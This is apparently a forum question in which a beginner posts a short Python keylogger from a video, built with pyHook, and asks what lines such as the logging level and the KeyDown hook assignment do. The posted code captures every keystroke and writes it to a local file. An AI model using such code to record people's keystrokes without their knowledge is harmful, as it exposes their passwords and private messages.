1

I stumbled upon this video which programs a very simple keylogger. https://www.youtube.com/watch?v=8BiOPBsXh0g

I got the program to work but the video does not do a good job explaining the lines of code for a beginner like me. Can someone please help me understand what some of the lines of code do?

import pyHook, pythoncom, sys, logging

file_log = 'C:\\important\\log.txt'

def OnKeyboardEvent(event):
    logging.basicConfig(filename = file_log, level = logging.DEBUG, format = '(messages)')
    chr(event.Ascii)
    logging.log(10,chr(event.Ascii))
    return True

hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()

Questions:

  1. What does level = logging.DEBUG do?

  2. what exactly is an event? How is it possible to do the line event.Ascii?

  3. What does the 10 that is passed into parameter in logging.log function do?

  4. how does hooks_manager.Keydown = OnKeyboardEvent work? I thought OnKeyboardEvent is a function but how it it equating itself to another function?

Paul Rooney
  • 20,879
  • 9
  • 40
  • 61
WoodRobot
  • 11
  • 1
  • Did you try looking at the `logging` [docs](https://docs.python.org/2/library/logging.html#logging.basicConfig) and `pyhook` [docs](http://pyhook.sourceforge.net/doc_1.5.0/)? – Paul Rooney Aug 17 '16 at 02:47

0 Answers0